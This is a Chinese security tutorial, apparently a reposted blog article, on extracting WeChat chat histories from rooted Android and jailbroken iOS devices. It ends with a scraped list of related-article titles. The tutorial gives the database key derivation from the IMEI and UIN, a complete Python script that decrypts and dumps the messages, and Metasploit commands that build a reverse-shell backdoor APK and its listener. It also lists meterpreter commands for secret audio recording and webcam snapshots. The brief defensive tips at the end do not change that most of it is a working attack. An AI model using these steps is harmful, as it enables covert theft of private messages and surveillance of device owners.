在这篇文章中我们将讨论如何获取安卓、苹果设备中的微信聊天记录,并演示如何利用后门通过Metasploit对安卓设备进行控制。文章比较基础、可动手性强,有设备的童鞋不妨边阅读文章边操作,希望能激发大家对移动终端的安全兴趣。

(文章内容存在一定攻击性,目的在于普及终端安全知识、提高安全意识,如有非法使用,后果自负)

“如何获取Android、iPhone手机上的微信聊天记录? ”

0×00 条件:

安卓设备已获取root权限,安装SSHDroid(通过ssh、ftp连接手机)

Apple设备越狱,安装OpenSSH插件

0×01 安卓:

很多安卓手机的用户都会遇到这么一个尴尬的问题:手机用久了就不知不觉变得慢了,最后慢到什么都迟钝了。为了解决这个问题和大多数人一样我选择了root设备。

安卓设备在root以后可以对系统文件存在最高级别的操作权限。比如,你在安卓设备上安装了微信,那么root以后通过adb shell你能对微信App的文件配置进行读取修改等操作。

Android应用程序的数据库文件通常会保存在 /data/data/packagename/database 文件夹下,微信App文件存放路径为:/data/data/com.tencent.mm/MicroMsg

首先通过FTP把文件down到本地:

以34位编码(类似于乱码)命名的文件夹中可找到微信账号的加密数据库文件 :EnMicroMsg.db

用数据库管理器打开:提示加密或者不是数据库文件

这里可以用windows环境下的SQLite Database Browser浏览器打开:

提示输入密码:

那么,加密数据库使用的密码是什么呢?我们又该如何获取到这个密码?通过上网查资料了解到:微信采用手机的IMEI值和微信UIN值的组合来对数据进行加密。

微信账号uin:即user information 微信用户信息识别码,获取微信UIN的方式有两种:

1.通过微信app的“system_config_prefs.xml”配置文件获取微信账号uin;

2.通过抓取WEB版微信聊天的数据包获取到uin。

1.1 App 配置文件

1
find / -name “system_config_prefs.xml”

1
2
3
/data/data/com.tencent.mm/shared_prefs/system_config_prefs.xml
cat /data/data/com.tencent.mm/shared_prefs/system_config_prefs.xml | grep uin

1
<int name="default_uin" value="146****21" />

1.2 谷歌chrome浏览器登陆WEB版微信:

登陆后新建窗口并访问chrome://net-internals/#events

发送信息 抓包 find uin值

uin:146****21

通过上述两种方法找到的uin值是相同的。

安卓拨号界面输入*#06#获得手机IMEI码:354**********85

IMEI值+uin值组合即为354**********85146****21

md5: http://www.spriteking.com/cmd5/ 左侧加密

得到32位小写md5值:1cbf8b842f8bf650aa65e5d3ced07735取其前七位:1cbf8b8输入到sql浏览器中。

Linux、Mac用户也可以在终端执行:

1
echo -n "354**********85146****21" | md5sum | cut -c -7

成功打开微信的数据库文件:

Wechat2txt.py:gist.github.com

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
import os
import sys
import re
import hashlib
import csv
import time
import locale
import getopt
def get_db():
    os.popen('adb root').close()
    text = os.popen(
        'adb shell ls /data/data/com.tencent.mm/MicroMsg/*/EnMicroMsg.db').read()
    return text.splitlines()[- 1] if text else ''
def get_default_uin():
    os.popen('adb root').close()
    text = os.popen(
        'adb shell cat /data/data/com.tencent.mm/shared_prefs/system_config_prefs.xml').read()
    default_uin = re.findall(
        'name="default_uin" value="([0-9]+)"', text)
    return default_uin[0] if default_uin else 0
def get_device_ID():
    text = os.popen('adb shell dumpsys iphonesubinfo').read()
    device_ID = re.findall('Device ID = ([0-9]+)', text)
    return device_ID[0] if device_ID else 0
def get_md5():
    default_uin = get_default_uin()
    device_ID = get_device_ID()
    if default_uin and device_ID:
        return hashlib.md5(device_ID + default_uin).hexdigest()[0: 7]
    return ''
def parse_msgcsv(msgcsv):
    locale.setlocale(locale.LC_ALL, '')
    if hasattr(msgcsv, 'title'):
        msgcsv = [ooOoo0O + '\n' for ooOoo0O in msgcsv.splitlines()]
        pass
    OooO0 = csv.reader(msgcsv)
    OooO0.next()
    for ooOoo0O in OooO0:
        try:
            II11iiii1Ii, OO0o, Ooo, O0o0Oo, Oo00OOOOO, O0O, O00o0OO, name, iIi1ii1I1, o0, I11II1i, IIIII = ooOoo0O[
                : 12]
            pass
        except:
            continue
        ooooooO0oo = 'me' if (Oo00OOOOO == '1'else name
        IIiiiiiiIi1I1 = time.localtime(int(O00o0OO) / 1000)
        I1IIIii = time.strftime("%Y-%m-%d %a %H:%M:%S", IIiiiiiiIi1I1)
        yield [name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0]
        pass
    pass
def get_names(chat):
    names = {}
    for name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0 in chat:
        names[name] = 1
        pass
    return names.keys()
def oo(chat, name=''):
    text = []
    name = name.lower()
    for name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0 in chat:
        iIi1ii1I1 = iIi1ii1I1.replace('\n''\n  ')
        o0 = ('\t' + o0) if o0 else ''
        if not name:
            text.append('%s: %s %s: %s %s' %
                        (name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0))
            pass
        elif name.lower() == name:
            text.append('%s %s: %s %s' %
                        (I1IIIii, ooooooO0oo, iIi1ii1I1, o0))
            pass
        pass
    return '\n'.join(text) + '\n'
def IIIii1II1II(dbn, key=''):
    child_stdin, child_stdout = os.popen2(['sqlcipher', dbn])
    if key:
        child_stdin.write('PRAGMA key=%s;\n' % ` key `)
        child_stdin.write('pragma cipher_use_hmac=off;\n')
        pass
    child_stdin.write('.tables\n')
    child_stdin.close()
    return child_stdout.read().split()
def decrypt(dbn, key='', table='message'):
    table = table or 'message'
    child_stdin, child_stdout = os.popen2(['sqlcipher', dbn])
    child_stdin.write('.header on\n')
    child_stdin.write('.mode csv\n')
    if key:
        child_stdin.write('PRAGMA key=%s;\n' % ` key `)
        child_stdin.write('pragma cipher_use_hmac=off;\n')
        pass
    child_stdin.write('select * from %s;\n' % ` table `)
    child_stdin.close()
    return child_stdout.read()
def wechat2txt(names=[]):
    in_file = 'EnMicroMsg.db'
    out_file = 'message.csv'
    db = get_db()
    md5 = get_md5()
    os.popen('adb wait-for-device')
    os.popen('adb pull %s %s' % (db, in_file)).close()
    msgcsv = decrypt(in_file, md5)
    if msgcsv.find('\n') < 0:
        return 1
    file(out_file, 'w').write(msgcsv)
    msgs = list(parse_msgcsv(msgcsv))
    if not msgs:
        return 1
    if not names:
        names = get_names(msgs)
        pass
    for name in names:
        filename = 'message.%s.txt' % name
        text = oo(msgs, name)
        if len(text) > 4:
            file(filename, 'w').write(text)
            pass
        pass
    pass
help_msg = '''Usage: wechat2txt.py [OPTIONS] [NAME]...
OPTIONS:
    -h        display this help and exit
'''
def main():
    try:
        opts, args = getopt.getopt(sys.argv[1:], 'h')
    except getopt.error, e:
        print help_msg
        return 1
    for opt, arg in opts:
        if opt == '-h':
            print help_msg
            return 1
        pass
    names = args
    text = wechat2txt(names)
    return not text
if __name__ == "__main__":
    sys.exit(main())

0×02 苹果:

Apple设备越狱后可通过Cydia安装各种小插件,通常情况我会安装OpenSSH来使自己能通过终端连接到Apple设备中,并使用sftp传输文件:

iOS中,应用文件夹以hash值命名,要导出微信、QQ的聊天记录其难度相对安卓来说稍微复杂很多。

在实际操作中我们可以通过巧用Linux命令(find、grep、xargs)来绕过这些坑。

1
2
3
4
find /var/mobile/Containers/Data -name "MM.sqlite"
mkdir /cache
find /var/mobile/Containers/Data -name "MM.sqlite" |xargs -I {} dirname {} | xargs -I {} cp -r  {}/../../ /cache

在越狱iOS窃取隐私可参考:隐匿在iOS文件系统中的隐私信息 一文

0×03 在安卓终端植入后门

3.1 实验环境

Kali Linux(Hack):192.168.31.213

Android(靶机):192.168.31.118

3.2生成后门文件:

1
2
cd Desktop
msfpayload android/meterpreter/reverse_tcp LHOST=192.168.31.213 LPORT=443 R >0xroot.apk

3.3 运行metasploit控制台

1
2
3
4
5
6
7
msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.31.213
set LPORT 443
run

3.4 安装&运行后门App

后门能进行什么操作?我们来看看usage:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
meterpreter > help
Core Commands
=============
    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information about active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    help                      Help menu
    info                      Displays information about a Post module
    interact                  Interacts with a channel
    irb                       Drop into irb scripting mode
    load                      Load one or more meterpreter extensions
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    use                       Deprecated alias for 'load'
    write                     Writes data to a channel
Stdapi: File system Commands
============================
    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    upload        Upload a file or directory
Stdapi: Networking Commands
===========================
    Command       Description
    -------       -----------
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    portfwd       Forward a local port to a remote service
    route         View and modify the routing table
Stdapi: System Commands
=======================
    Command       Description
    -------       -----------
    execute       Execute a command
    getuid        Get the user that the server is running as
    ps            List running processes
    shell         Drop into a system command shell
    sysinfo       Gets information about the remote system, such as OS
Stdapi: Webcam Commands
=======================
    Command       Description
    -------       -----------
    record_mic    Record audio from the default microphone for X seconds
    webcam_list   List webcams
    webcam_snap   Take a snapshot from the specified webcam

record_mic 通过手机麦克风进行窃听、录音;

webcam_list 列出安卓设备的所有摄像头;

webcam_snap 通过摄像头进行偷拍…

等等

0×04 演示视频

0×05 APK后门分析:

把apk放到apk分析工具(apkStudio、Bytecodeviewer)进行解包,我们来看看后门App的源码:

(apkStudio)

在smali/com/metasploit/stage/MainActivity.smali中我们可以找到后门服务器的ip端口配置:

(apkStudio)

(Bytecodeviewer)

0×06 预防&安全建议

安卓:从可信来源下载应用程序,避免感染恶意程序;在移动充电桩充电前及时关闭USB调试。

苹果:越狱后及时修改root密码,避免使用默认密码、弱口令。

0×07 文中工具下载地址:

SQLite Database Browser:http://pan.baidu.com/s/1nuWlDgd

SSHDroid:http://pan.baidu.com/s/1b6PBK6

0×08 参考&感谢

How To Decrypt WeChat EnMicroMsg.db Database?

Android微信数据导出

微信聊天记录分析

A look at WeChat security

https://gist.github.com/scturtle/724801

隐匿在iOS文件系统中的隐私信息

Hacking Android Smartphone Tutorial using Metasploit

原文地址:http://www.freebuf.com/articles/terminal/107801.html

本文转自 K1two2 博客园博客,原文链接:

http://www.cnblogs.com/k1two2/p/5790449.html

  ,如需转载请自行联系原作者

移动安全初探:窃取微信聊天记录、Hacking Android with Metasploit相关推荐

  1. Android 获取取手机中微信聊天记录

    关于如何在 Android 手机上窃取微信聊天记录. 这几天事情比较多,可还是想尽快写下这篇文章. 本以为微信的聊天记录以我本人现存能力获取不到,但经过一番尝试,还是成功了.前提:手机需要已经 roo ...

  2. android微信聊天记录导出到电脑【微信安卓版技巧】

    android微信聊天记录导出到电脑[微信安卓版技巧] 微信,对它又爱又恨!爱的是微信能替代很多手机通话短信,恨的是有些较早前的手机不能友好支持,比如ytkah之前用的i8000,挺上手的,就是没办法 ...

  3. 【逆向】【Android微信】获取微信聊天记录

    2020-02-23 晴 郑州 出场人物 沉瓶 - 产品经理 饭咸 - 程序员 工作环境 硬件:MacBook Pro (Retina, 13-inch, Early 2015) 硬件相应系统:mac ...

  4. Android 通过AccessibilityService实现微信聊天记录导出

    接上Android 微信聊天记录.联系人备份并导出为表格继续讲 不太了解AccessibilityService可以看看这篇文章 基本原理: 首先打开 DDMS 捕捉界面元素 拿到resourceid ...

  5. Android仿微信聊天记录“图片及视频”默认最新图片从底部显示(时间排序升序)

    Android仿微信聊天记录"图片及视频"默认最新图片从底部显示(时间排序升序) 1.设置recycler的LinearLayoutManager LinearLayoutMana ...

  6. Android 获取手机中微信聊天记录并后台发送到邮箱

    实验软件 :Android Studio 实验设备:Root过的真机一部或者夜神模拟器 测试效果 废话不多说  直接上代码 获取手机微信数据库目录并发送邮件 class CoreService : I ...

  7. Android手机导出微信聊天记录

    如果android手机上有重要的微信聊天记录,一定有备份的需要,可参考以下方法: 1.首先需要您的android手机支持root,用可root的"手机资源管理器"进入目录拷贝微信数 ...

  8. 微信聊天记录迁移(Android到IOS)

    微信聊天记录迁移 注意:a. 两台设备需要在同一网域下(连接同一个WiFi,或者其中一台设备连接另一台设备的个人热点) b.保持屏幕常亮,避免中断 原设备登录微信 我的–>设置–>通用–& ...

  9. 用Android微信聊天记录 制作一个词云(python)

    在看完了如何做词云的教程,试用微信聊天记录做一个demo练手.关于词云,网上有大量的教程,可随意参考,注意python的版本问题即可. 微信聊天记录导出 用到的工具是一款微信聊天记录查看软件,分享如下 ...

  10. 如何获取安卓iOS上的微信聊天记录、通过Metasploit控制安卓

    在这篇文章中我们将讨论如何获取安卓.苹果设备中的微信聊天记录,并演示如何利用后门通过Metasploit对安卓设备进行控制.文章比较基础.可动手性强,有设备的童鞋不妨边阅读文章边操作,希望能激发大家对 ...

最新文章

  1. oracle 语法分析表,Oracle 语句优化分析说明
  2. maven常见问题问答
  3. LAMP 3.4 mysql常用操作-2
  4. mysql中查询出现的错误_在MySQL查询中查询语法错误
  5. UI标签库专题一:JEECG智能开发平台 BaseTag(样式表和JS引入标签)
  6. 2021庐江高考成绩查询,2021庐江高考考点查询入口https://lj.hfzsks.org/list_score/index.php?seach_t...
  7. .Net Attribute特性
  8. 怎么分析linux的内核程序,Linux内核分析(供参考)
  9. LeetCode 951. Flip Equivalent Binary Trees
  10. CentOS 7.4 安装Nginx
  11. 幼儿园学校网站JAVA_基于jsp的幼儿园网站-JavaEE实现幼儿园网站 - java项目源码
  12. 让 Chrome 57 支持迅雷精简版
  13. 【移动安全基础篇】——26、两个简单app破解
  14. 锁定计算机好在下游戏吗,用windows7系统锁定计算机防止孩子沉迷游戏
  15. 5寸android智能手机,5寸刚入门 六款巨屏安卓智能手机盘点
  16. HTML点击图片,弹窗并放大
  17. 文本编辑器的制作(C#)
  18. ScreenToGif: Gif 图片神器
  19. c# 如何把一个1000数字随机分成10个数字 总和1000 加抽奖概率
  20. LSP标识符(LSP ID)

热门文章

  1. 随机过程之马尔科夫链
  2. c# asp.net在线问卷调查系统源码【源码分享】
  3. 基于STM32的多功能心电信号监测系统设计
  4. 谷歌浏览器默认最小字体的解决方法以及各浏览器对字体大小的支持
  5. 深度学习技术发展趋势浅析
  6. LQR 的直观推导及简单应用
  7. WSO2 ESB 5.0.0 配置 MySQL 数据源
  8. 【关于测试开发工程师】
  9. 看书和写书,简单而复杂的反思-读书分享会感悟
  10. PolSARpro导入外部极化矩阵数据(以高分三号为例,附格式转化代码)